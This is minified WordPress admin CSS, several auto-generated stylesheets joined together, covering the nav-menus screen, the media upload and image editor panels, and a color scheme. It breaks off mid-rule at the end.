span{display:block;float:left;margin-top:5px;padding-right:5px}.menu-item-textbox{width:180px}.customlinkdiv label,.nav-menus-php .howto span{float:left;margin-top:6px}.quick-search{width:190px}.quick-search-wrap .spinner{float:none;margin:-3px -10px 0 0}.nav-menus-php .list-wrap{display:none;clear:both;margin-bottom:10px}.nav-menus-php .postbox p.submit{margin-bottom:0}.nav-menus-php .list li{display:none;margin:0 0 5px}.nav-menus-php .list li .menu-item-title{cursor:pointer;display:block}.nav-menus-php .list li .menu-item-title input{margin-right:3px;margin-top:-3px}.menu-item-title input[type=checkbox]{display:inline-block;margin-top:-4px}.menu-item-title .post-state{font-weight:600}#menu-container .inside{padding-bottom:10px}.menu{padding-top:1em}#menu-to-edit{margin:0;padding:.1em 0}.menu ul{width:100%}.menu li{margin-bottom:0;position:relative}.menu-item-bar{clear:both;line-height:1.5;position:relative;margin:9px 0 0}.menu-item-bar .menu-item-handle{border:1px solid #dcdcde;position:relative;padding:10px 15px;height:auto;min-height:20px;max-width:382px;line-height:2.30769230;overflow:hidden;word-wrap:break-word}.menu-item-bar .menu-item-handle:hover{border-color:#8c8f94}#menu-to-edit .menu-item-invalid .menu-item-handle{background:#fcf0f1;border-color:#d63638}.no-js .menu-item-edit-active .item-edit{display:none}.js .menu-item-handle{cursor:move}.menu li.deleting .menu-item-handle{background-image:none;background-color:#f86368}.menu-item-handle .item-title{font-size:13px;font-weight:600;line-height:1.53846153;display:block;margin-right:13em}.menu-item-handle .menu-item-checkbox{display:none}.bulk-selection .menu-item-handle .menu-item-checkbox{display:inline-block;margin-right:6px}.menu-item-handle .menu-item-title.no-title{color:#646970}li.menu-item.ui-sortable-helper .menu-item-bar{margin-top:0}li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar{margin-top:9px}.menu .sortable-placeholder{height:35px;width:410px;margin-top:9px}.menu-item .menu-item-transport:empty{display:none}.menu-item-depth-0{margin-left:0}.menu-item-depth-1{margin-left:30px}.menu-item-depth-2{margin-left:60px}.menu-item-depth-3{margin-left:90px}.menu-item-depth-4{margin-left:120px}.menu-item-depth-5{margin-left:150px}.menu-item-depth-6{margin-left:180px}.menu-item-depth-7{margin-left:210px}.menu-item-depth-8{margin-left:240px}.menu-item-depth-9{margin-left:270px}.menu-item-depth-10{margin-left:300px}.menu-item-depth-11{margin-left:330px}.menu-item-depth-0 .menu-item-transport{margin-left:0}.menu-item-depth-1 .menu-item-transport{margin-left:-30px}.menu-item-depth-2 .menu-item-transport{margin-left:-60px}.menu-item-depth-3 .menu-item-transport{margin-left:-90px}.menu-item-depth-4 .menu-item-transport{margin-left:-120px}.menu-item-depth-5 .menu-item-transport{margin-left:-150px}.menu-item-depth-6 .menu-item-transport{margin-left:-180px}.menu-item-depth-7 .menu-item-transport{margin-left:-210px}.menu-item-depth-8 .menu-item-transport{margin-left:-240px}.menu-item-depth-9 .menu-item-transport{margin-left:-270px}.menu-item-depth-10 .menu-item-transport{margin-left:-300px}.menu-item-depth-11 .menu-item-transport{margin-left:-330px}body.menu-max-depth-0{min-width:950px!important}body.menu-max-depth-1{min-width:980px!important}body.menu-max-depth-2{min-width:1010px!important}body.menu-max-depth-3{min-width:1040px!important}body.menu-max-depth-4{min-width:1070px!important}body.menu-max-depth-5{min-width:1100px!important}body.menu-max-depth-6{min-width:1130px!important}body.menu-max-depth-7{min-width:1160px!important}body.menu-max-depth-8{min-width:1190px!important}body.menu-max-depth-9{min-width:1220px!important}body.menu-max-depth-10{min-width:1250px!important}body.menu-max-depth-11{min-width:1280px!important}.item-type{display:inline-block;padding:12px 16px;color:#646970;font-size:12px;line-height:1.5}.item-controls{font-size:12px;position:absolute;right:20px;top:-1px}.item-controls a{text-decoration:none}.item-controls a:hover{cursor:pointer}.item-controls .item-order{padding-right:10px}.nav-menus-php .item-edit{position:absolute;right:-20px;top:0;display:block;width:30px;height:40px;outline:0}.no-js.nav-menus-php .item-edit{position:static;float:right;width:auto;height:auto;margin:12px -10px 12px 0;padding:0;color:#2271b1;text-decoration:underline;font-size:12px;line-height:1.5}.no-js.nav-menus-php .item-edit .screen-reader-text{position:static;-webkit-clip-path:none;clip-path:none;width:auto;height:auto;margin:0}.nav-menus-php .item-edit:before{margin-top:10px;margin-left:4px;width:20px;border-radius:50%;text-indent:-1px}.no-js.nav-menus-php .item-edit:before{display:none}.rtl .nav-menus-php .item-edit:before{text-indent:1px}.js.nav-menus-php .item-edit:focus{box-shadow:none}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.menu-instructions-inactive{display:none}.menu-item-settings{display:block;max-width:392px;padding:10px;position:relative;z-index:10;border:1px solid #c3c4c7;border-top:none;box-shadow:0 1px 1px rgba(0,0,0,.04)}.menu-item-settings .field-move{margin:3px 0 5px;line-height:1.5}.field-move-visual-label{float:left;margin-right:4px}.menu-item-settings .field-move .button-link{display:none;margin:0 2px}.menu-item-edit-active .menu-item-settings{display:block}.menu-item-edit-inactive .menu-item-settings{display:none}.add-menu-item-pagelinks{margin:.5em -10px;text-align:center}.add-menu-item-pagelinks .page-numbers{display:inline-block;min-width:20px}.add-menu-item-pagelinks .page-numbers.dots{min-width:0}.link-to-original{display:block;margin:0 0 15px;padding:3px 5px 5px;border:1px solid #dcdcde;color:#646970;font-size:12px}.link-to-original a{padding-left:4px;font-style:normal}.hidden-field{display:none}.menu-item-settings .description-thin,.menu-item-settings .description-wide{margin-right:10px;float:left}.description-thin{width:calc(50% - 5px)}.menu-item-settings .description-thin+.description-thin{margin-right:0}.description-wide{width:100%}.menu-item-actions{padding-top:15px;padding-bottom:7px}#cancel-save{cursor:pointer}.nav-menus-php .major-publishing-actions{padding:10px 0;display:flex;align-items:center}.nav-menus-php .major-publishing-actions>*{margin-right:10px}.nav-menus-php .major-publishing-actions .form-invalid{padding-left:4px;margin-left:-4px}#menu-item-name-wrap,#menu-item-url-wrap,#nav-menus-frame,.button-controls{display:block}@media only screen and (min-width:769px) and (max-width:1000px){body.menu-max-depth-0{min-width:0!important}#menu-management-liquid{width:100%}.nav-menus-php #post-body-content{min-width:0}}@media screen and (max-width:782px){body.nav-menus-php,body.wp-customizer{min-width:0!important}#nav-menus-frame{margin-left:0;float:none;width:100%}#wpbody-content #menu-settings-column{display:block;width:100%;float:none;margin-left:0}#side-sortables .add-menu-item-tabs{margin:15px 0 14px}ul.add-menu-item-tabs li.tabs{padding:13px 15px 14px}.nav-menus-php .customlinkdiv .howto input{width:65%}.nav-menus-php .quick-search{width:85%}#menu-management-liquid{margin-top:25px}.nav-menus-php .menu-name-label.howto span{margin-top:13px}#menu-name{width:100%}.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action{padding-top:1em}.nav-menus-php .delete-action{font-size:14px;line-height:2.14285714}.description-wide,.menu-item-bar .menu-item-handle,.menu-item-settings{width:auto}.menu-item-settings{padding:10px}.menu-item-settings .description-thin,.menu-item-settings .description-wide{width:100%}.menu-item-settings input{width:100%}.menu-item-settings input[type=checkbox],.menu-item-settings input[type=radio]{width:25px}.menu-settings-group{padding-left:0;overflow:visible}.menu-settings-group-name{float:none;width:auto;margin-left:0;margin-bottom:15px}.menu-settings-input{float:none;margin-bottom:15px}.menu-edit .checkbox-input{margin-top:0}.manage-menus select{margin:.5em 0}.wp-core-ui .manage-menus .button{margin-bottom:0}.widefat .menu-locations .menu-location-title{padding-top:16px}}@media only screen and (min-width:783px){@supports (position:sticky) and (scroll-margin-bottom:130px){#nav-menu-footer{position:sticky;bottom:0;z-index:10;box-shadow:0 -1px 0 0 #ddd}#save_menu_header{display:none}}}@media only screen and (max-width:768px){#menu-locations-wrap .widefat{width:100%}.bulk-select-button{padding:5px 10px}}/*! This file is auto-generated */
.media-item .describe{border-collapse:collapse;width:100%;border-top:1px solid #dcdcde;clear:both;cursor:default}.media-item.media-blank .describe{border:0}.media-item .describe th{vertical-align:top;text-align:left;padding:5px 10px 10px;width:140px}.media-item .describe .align th{padding-top:0}.media-item .media-item-info tr{background-color:transparent}.media-item .describe td{padding:0 8px 8px 0;vertical-align:top}.media-item thead.media-item-info td{padding:4px 10px 0}.media-item .media-item-info .A1B1{padding:0 0 0 10px}.media-item td.savesend{padding-bottom:15px}.media-item .thumbnail{max-height:128px;max-width:128px}.media-list-subtitle{display:block}.media-list-title{display:block}#wpbody-content #async-upload-wrap a{display:none}.media-upload-form{margin-top:20px}.media-upload-form td label{margin-right:6px;margin-left:2px}.media-upload-form .align .field label{display:inline;padding:0 0 0 23px;margin:0 1em 0 3px;font-weight:600}.media-upload-form tr.image-size label{margin:0 0 0 5px;font-weight:600}.media-upload-form th.label label{font-weight:600;margin:.5em;font-size:13px}.media-upload-form th.label label span{padding:0 5px}.media-item .describe input[type=text],.media-item .describe textarea{width:460px}.media-item .describe p.help{margin:0;padding:0 0 0 5px}.describe-toggle-off,.describe-toggle-on{display:block;line-height:2.76923076;float:right;margin-right:10px}.media-item-wrapper{display:grid;grid-template-columns:1fr 1fr}.media-item .attachment-tools{display:flex;justify-content:flex-end;align-items:center}.media-item .edit-attachment{padding:14px 0;display:block;margin-right:10px}.media-item .edit-attachment.copy-to-clipboard-container{display:flex;margin-top:0}.media-item-copy-container .success{line-height:0}.media-item button .copy-attachment-url{margin-top:14px}.media-item .copy-to-clipboard-container{margin-top:7px}.media-item .describe-toggle-off,.media-item.open .describe-toggle-on{display:none}.media-item.open .describe-toggle-off{display:block}.media-upload-form .media-item{min-height:70px;margin-bottom:1px;position:relative;width:100%;background:#fff}.media-upload-form .media-item,.media-upload-form .media-item .error{box-shadow:0 1px 0 #dcdcde}#media-items:empty{border:0 none}.media-item .filename{padding:14px 0;overflow:hidden;margin-left:6px}.media-item .pinkynail{float:left;margin:0 10px 0 0;max-height:70px;max-width:70px}.media-item .startclosed,.media-item .startopen{display:none}.media-item .original{position:relative;min-height:34px}.media-item .progress{float:right;height:22px;margin:7px 6px;width:200px;line-height:2em;padding:0;overflow:hidden;border-radius:22px;background:#dcdcde;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.media-item .bar{z-index:9;width:0;height:100%;margin-top:-22px;border-radius:22px;background-color:#2271b1;box-shadow:inset 0 0 2px rgba(0,0,0,.3)}.media-item .progress .percent{z-index:10;position:relative;width:200px;padding:0;color:#fff;text-align:center;line-height:22px;font-weight:400;text-shadow:0 1px 2px rgba(0,0,0,.2)}.upload-php .fixed .column-parent{width:15%}.js .html-uploader #plupload-upload-ui{display:none}.js .html-uploader #html-upload-ui{display:block}#html-upload-ui #async-upload{font-size:1em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{width:auto;margin:0 0 1px}.media-upload-form .media-item .error{padding:10px 0 10px 14px;min-height:50px}.media-item .error-div button.dismiss{float:right;margin:0 10px 0 15px}.find-box{background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);width:600px;overflow:hidden;margin-left:-300px;position:fixed;top:30px;bottom:30px;left:50%;z-index:100105}.find-box-head{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 36px 0 16px;position:absolute;top:0;left:0;right:0}.find-box-inside{overflow:auto;padding:16px;background-color:#fff;position:absolute;top:37px;bottom:45px;overflow-y:scroll;width:100%;box-sizing:border-box}.find-box-search{padding-bottom:16px}.find-box-search .spinner{float:none;left:105px;position:absolute}#find-posts-response,.find-box-search{position:relative}#find-posts-input,#find-posts-search{float:left}#find-posts-input{width:140px;height:28px;margin:0 4px 0 0}.widefat .found-radio{padding-right:0;width:16px}#find-posts-close{width:36px;height:36px;border:none;padding:0;position:absolute;top:0;right:0;cursor:pointer;text-align:center;background:0 0;color:#646970}#find-posts-close:focus,#find-posts-close:hover{color:#135e96}#find-posts-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}#find-posts-close:before{font:normal 20px/36px dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:"\f158"}.find-box-buttons{padding:8px 16px;background:#fff;border-top:1px solid #dcdcde;position:absolute;bottom:0;left:0;right:0}@media screen and (max-width:782px){.find-box-inside{bottom:57px}}@media screen and (max-width:660px){.find-box{top:0;bottom:0;left:0;right:0;margin:0;width:100%}}.ui-find-overlay{position:fixed;top:0;left:0;right:0;bottom:0;background:#000;opacity:.7;z-index:100100}.drag-drop #drag-drop-area{border:4px dashed #c3c4c7;height:200px}.drag-drop .drag-drop-inside{margin:60px auto 0;width:250px}.drag-drop-inside p{font-size:14px;margin:5px 0;display:none}.drag-drop .drag-drop-inside p{text-align:center}.drag-drop-inside p.drag-drop-info{font-size:20px}.drag-drop .drag-drop-inside p,.drag-drop-inside p.drag-drop-buttons{display:block}.drag-drop.drag-over #drag-drop-area{border-color:#9ec2e6}#plupload-upload-ui{position:relative}.post-type-attachment .wp-filter select{margin:0 6px 0 0}.media-frame.mode-grid,.media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper,.media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments,.media-frame.mode-grid .media-frame-content,.media-frame.mode-grid .uploader-inline-content{position:static}.media-frame.mode-grid .media-frame-menu,.media-frame.mode-grid .media-frame-router,.media-frame.mode-grid .media-frame-title{display:none}.media-frame.mode-grid .media-frame-content{background-color:transparent;border:none}.upload-php .mode-grid .media-sidebar{position:relative;width:auto;margin-top:12px;padding:0 16px;border-left:4px solid #d63638;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);background-color:#fff}.upload-php .mode-grid .hide-sidebar .media-sidebar{display:none}.upload-php .mode-grid .media-sidebar .media-uploader-status{border-bottom:none;padding-bottom:0;max-width:100%}.upload-php .mode-grid .media-sidebar .upload-error{margin:12px 0;padding:4px 0 0;border:none;box-shadow:none;background:0 0}.upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2{display:none}.media-frame.mode-grid .uploader-inline{position:relative;top:auto;right:auto;left:auto;bottom:auto;padding-top:0;margin-top:20px;border:4px dashed #c3c4c7}.media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments,.media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper{position:relative;top:94px;padding-bottom:94px}.media-frame.mode-grid .attachment.details:focus,.media-frame.mode-grid .attachment:focus,.media-frame.mode-grid .selected.attachment:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-6px}.media-frame.mode-grid .selected.attachment{box-shadow:inset 0 0 0 5px #f0f0f1,inset 0 0 0 7px #c3c4c7}.media-frame.mode-grid .attachment.details{box-shadow:inset 0 0 0 3px #f0f0f1,inset 0 0 0 7px #4f94d4}.media-frame.mode-grid.mode-select .attachment .thumbnail{opacity:.65}.media-frame.mode-select .attachment.selected .thumbnail{opacity:1}.media-frame.mode-grid .media-toolbar{margin-bottom:15px;height:auto}.media-frame.mode-grid .media-toolbar select{margin:0 10px 0 0}.media-frame.mode-grid.mode-edit .media-toolbar-secondary>.select-mode-toggle-button{margin:0 8px 0 0;vertical-align:middle}.media-frame.mode-grid .attachments-browser .bulk-select{display:inline-block;margin:0 10px 0 0}.media-frame.mode-grid .search{margin-top:0}.media-frame-content .media-search-input-label{margin:0 .2em 0 0;vertical-align:baseline}.media-frame.mode-grid .media-search-input-label{position:static;margin:0 .5em 0 0}.attachments-browser .media-toolbar-secondary>.media-button{margin-right:10px}.media-frame.mode-select .attachments-browser.fixed .media-toolbar{position:fixed;top:32px;left:auto;right:20px;margin-top:0}.media-frame.mode-grid .attachments-browser{padding:0}.media-frame.mode-grid .attachments-browser .attachments{padding:2px}.media-frame.mode-grid .attachments-browser .no-media{color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0 0;text-align:center}.edit-attachment-frame{display:block;height:100%;width:100%}.edit-attachment-frame .edit-media-header{overflow:hidden}.upload-php .media-modal-close .media-modal-icon:before{content:"\f335";font-size:22px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{cursor:pointer;color:#787c82;background-color:transparent;height:50px;width:50px;padding:0;position:absolute;text-align:center;border:0;border-left:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.upload-php .media-modal-close{top:0;right:0}.edit-attachment-frame .edit-media-header .left{right:102px}.edit-attachment-frame .edit-media-header .right{right:51px}.edit-attachment-frame .media-frame-title{left:0;right:150px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .left:hover,.edit-attachment-frame .edit-media-header .right:focus,.edit-attachment-frame .edit-media-header .right:hover,.upload-php .media-modal-close:focus,.upload-php .media-modal-close:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.edit-attachment-frame .edit-media-header .left:focus,.edit-attachment-frame .edit-media-header .right:focus,.upload-php .media-modal-close:focus{outline:2px solid transparent;outline-offset:-2px}.upload-php .media-modal-close:focus .media-modal-icon:before,.upload-php .media-modal-close:hover .media-modal-icon:before{color:#000}.edit-attachment-frame .edit-media-header .left:before{content:"\f341"}.edit-attachment-frame .edit-media-header .right:before{content:"\f345"}.edit-attachment-frame .edit-media-header [disabled],.edit-attachment-frame .edit-media-header [disabled]:hover{color:#c3c4c7;background:inherit;cursor:default}.edit-attachment-frame .media-frame-content,.edit-attachment-frame .media-frame-router{left:0}.edit-attachment-frame .media-frame-content{border-bottom:none;bottom:0;top:50px}.edit-attachment-frame .attachment-details{position:absolute;overflow:auto;top:0;bottom:0;right:0;left:0;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1)}.edit-attachment-frame .attachment-media-view{float:left;width:65%;height:100%}.edit-attachment-frame .attachment-media-view .thumbnail{box-sizing:border-box;padding:16px;height:100%}.edit-attachment-frame .attachment-media-view .details-image{display:block;margin:0 auto 16px;max-width:100%;max-height:90%;max-height:calc(100% - 42px);background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.edit-attachment-frame .attachment-media-view .details-image.icon{background:0 0}.edit-attachment-frame .attachment-media-view .attachment-actions{text-align:center}.edit-attachment-frame .wp-media-wrapper{margin-bottom:12px}.edit-attachment-frame input,.edit-attachment-frame textarea{padding:4px 8px;line-height:1.42857143}.edit-attachment-frame .attachment-info{overflow:auto;box-sizing:border-box;margin-bottom:0;padding:12px 16px 0;width:35%;height:100%;box-shadow:inset 0 4px 4px -4px rgba(0,0,0,.1);border-bottom:0;border-left:1px solid #dcdcde;background:#f6f7f7}.edit-attachment-frame .attachment-info .details,.edit-attachment-frame .attachment-info .settings{position:relative;overflow:hidden;float:none;margin-bottom:15px;padding-bottom:15px;border-bottom:1px solid #dcdcde}.edit-attachment-frame .attachment-info .filename{font-weight:400;color:#646970}.edit-attachment-frame .attachment-info .thumbnail{margin-bottom:12px}.attachment-info .actions{margin-bottom:16px}.attachment-info .actions a{display:inline;text-decoration:none}.copy-to-clipboard-container{display:flex;align-items:center;margin-top:8px;clear:both}.copy-to-clipboard-container .copy-attachment-url{white-space:normal}.copy-to-clipboard-container .success{color:#007017;margin-left:8px}.wp_attachment_details .attachment-alt-text{margin-bottom:5px}.wp_attachment_details #attachment_alt{max-width:500px;height:3.28571428em}.wp_attachment_details .attachment-alt-text-description{margin-top:5px}.wp_attachment_details label[for=content]{font-size:13px;line-height:1.5;margin:1em 0}.wp_attachment_details #attachment_caption{height:4em}.describe .image-editor{vertical-align:top}.imgedit-wrap{position:relative;padding-top:10px}.image-editor fieldset,.image-editor p{margin:8px 0}.image-editor legend{margin-bottom:5px}.describe .imgedit-wrap .image-editor{padding:0 5px}.wp_attachment_holder div.updated{margin-top:0}.wp_attachment_holder .imgedit-wrap>div{height:auto}.imgedit-panel-content{display:flex;flex-wrap:wrap;gap:20px;margin-bottom:20px}.imgedit-settings{max-width:400px}.imgedit-group-controls>*{display:none}.imgedit-panel-active .imgedit-group-controls>*{display:block}.wp_attachment_holder .imgedit-wrap .image-editor{float:right;width:250px}.image-editor input{margin-top:0;vertical-align:middle}.imgedit-wait{position:absolute;top:0;bottom:0;width:100%;background:#fff;opacity:.7;display:none}.imgedit-wait:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;margin:-10px 0 0 -10px;background:transparent url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}.no-float{float:none}.image-editor .disabled,.media-disabled{color:#a7aaad}.A1B1{overflow:hidden}.A1B1 .button,.wp_attachment_image .button{float:left}.no-js .wp_attachment_image .button{display:none}.A1B1 .spinner,.wp_attachment_image .spinner{float:left}.imgedit-menu .note-no-rotate{clear:both;margin:0;padding:1em 0 0}.image-editor .imgedit-menu .button{display:inline-block;width:auto;min-height:28px;font-size:13px;line-height:2;padding:0 10px}.imgedit-menu .button:after,.imgedit-menu .button:before{font:normal 16px/1 dashicons;margin-right:8px;speak:never;vertical-align:middle;position:relative;top:-2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.imgedit-menu .imgedit-rotate.button:after{content:'\f140';margin-left:2px;margin-right:0}.imgedit-menu .imgedit-rotate.button[aria-expanded=true]:after{content:'\f142'}.imgedit-menu .button.disabled{color:#a7aaad;border-color:#dcdcde;background:#f6f7f7;box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.imgedit-crop:before{content:"\f165"}.imgedit-scale:before{content:"\f211"}.imgedit-rotate:before{content:"\f167"}.imgedit-undo:before{content:"\f171"}.imgedit-redo:before{content:"\f172"}.imgedit-crop-wrap{position:relative}.imgedit-crop-wrap img{background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.imgedit-crop-wrap{padding:20px;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.imgedit-crop{margin:0 8px 0 0}.imgedit-rotate{margin:0 8px 0 3px}.imgedit-undo{margin:0 3px}.imgedit-redo{margin:0 8px 0 3px}.imgedit-thumbnail-preview-group{display:flex;flex-wrap:wrap;column-gap:10px}.imgedit-thumbnail-preview{margin:10px 8px 0 0}.imgedit-thumbnail-preview-caption{display:block}#poststuff .imgedit-group-top h2{display:inline-block;margin:0;padding:0;font-size:14px;line-height:1.4}#poststuff .imgedit-group-top .button-link{text-decoration:none;color:#1d2327}.imgedit-applyto .imgedit-label{display:block;padding:.5em 0 0}.imgedit-help,.imgedit-popup-menu{display:none;padding-bottom:8px}.imgedit-panel-tools>.imgedit-menu{display:flex;column-gap:4px;align-items:flex-start;flex-wrap:wrap}.imgedit-popup-menu{width:calc(100% - 20px);position:absolute;background:#fff;padding:10px;box-shadow:0 3px 6px rgba(0,0,0,.3)}.image-editor .imgedit-menu .imgedit-popup-menu button{display:block;margin:2px 0;width:100%;white-space:break-spaces;line-height:1.5;padding-top:3px;padding-bottom:2px}.imgedit-rotate-menu-container{position:relative}.imgedit-help.imgedit-restore{padding-bottom:0}.image-editor .imgedit-settings .imgedit-help-toggle,.image-editor .imgedit-settings .imgedit-help-toggle:active,.image-editor .imgedit-settings .imgedit-help-toggle:hover{border:1px solid transparent;margin:-1px 0 0 -1px;padding:0;background:0 0;color:#2271b1;font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.image-editor .imgedit-settings .imgedit-help-toggle:focus{color:#2271b1;border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.form-table td.imgedit-response{padding:0}.imgedit-submit-btn{margin-left:20px}.imgedit-wrap .nowrap{white-space:nowrap;font-size:12px;line-height:inherit}span.imgedit-scale-warn{display:flex;align-items:center;margin:4px;gap:4px;color:#b32d2e;font-style:normal;visibility:hidden;vertical-align:middle}.imgedit-save-target{margin:8px 0}.imgedit-save-target legend{font-weight:600}.imgedit-group{margin-bottom:20px}.image-editor .imgedit-original-dimensions{display:inline-block}.image-editor .imgedit-crop-ratio input[type=number],.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=number],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale-controls input[type=number],.image-editor .imgedit-scale-controls input[type=text]{width:80px;font-size:14px;padding:0 8px}.imgedit-separator{display:inline-block;width:7px;text-align:center;font-size:13px;color:#3c434a}.image-editor .imgedit-scale-button-wrapper{margin-top:.3077em;display:block}.image-editor .imgedit-scale-controls .button{margin-bottom:0}audio,video{display:inline-block;max-width:100%}.wp-core-ui .mejs-container{width:100%;max-width:100%}.wp-core-ui .mejs-container *{box-sizing:border-box}.wp-core-ui .mejs-time{box-sizing:content-box}@media print,(min-resolution:120dpi){.imgedit-wait:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.edit-attachment-frame input,.edit-attachment-frame textarea{line-height:1.5}.wp_attachment_details label[for=content]{font-size:14px;line-height:1.5}.wp_attachment_details textarea{line-height:1.5}.wp_attachment_details #attachment_alt{height:3.375em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{font-size:13px;line-height:1.5}.media-upload-form .media-item.error{padding:1px 10px}.media-upload-form .media-item .error{padding:10px 0 10px 12px}.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale input[type=text]{font-size:16px;padding:6px 10px}.wp_attachment_holder .imgedit-wrap .image-editor,.wp_attachment_holder .imgedit-wrap .imgedit-panel-content{float:none;width:auto;max-width:none;padding-bottom:16px}.copy-to-clipboard-container .success{font-size:14px}.imgedit-crop-wrap img{width:100%}.media-modal .imgedit-wrap .image-editor,.media-modal .imgedit-wrap .imgedit-panel-content{position:initial!important}.media-modal .imgedit-wrap .image-editor{box-sizing:border-box;width:100%!important}.image-editor .imgedit-scale-button-wrapper{display:inline-block}}@media only screen and (max-width:600px){.media-item-wrapper{grid-template-columns:1fr}}@media only screen and (max-width:1120px){#wp-media-grid .wp-filter .attachment-filters{max-width:100%}}@media only screen and (max-width:1000px){.wp-filter p.search-box{float:none;width:100%;margin-bottom:20px;display:flex}}@media only screen and (max-width:782px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:46px;right:10px}}@media only screen and (max-width:600px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:0}}@media only screen and (max-width:480px){.edit-attachment-frame .media-frame-title{right:110px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{width:40px;height:40px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{line-height:40px!important}.edit-attachment-frame .edit-media-header .left{right:82px}.edit-attachment-frame .edit-media-header .right{right:41px}.edit-attachment-frame .media-frame-content{top:40px}.edit-attachment-frame .attachment-media-view{float:none;height:auto;width:100%}.edit-attachment-frame .attachment-info{height:auto;width:100%}}@media only screen and (max-width:640px),screen and (max-height:400px){.upload-php .mode-grid .media-sidebar{max-width:100%}}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#3858e9}a:active,a:focus,a:hover{color:#183ad6}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#3858e9}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#183ad6}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%237e8993%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#7e8993}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#183ad6}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#3858e9;box-shadow:0 0 0 1px #3858e9}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui 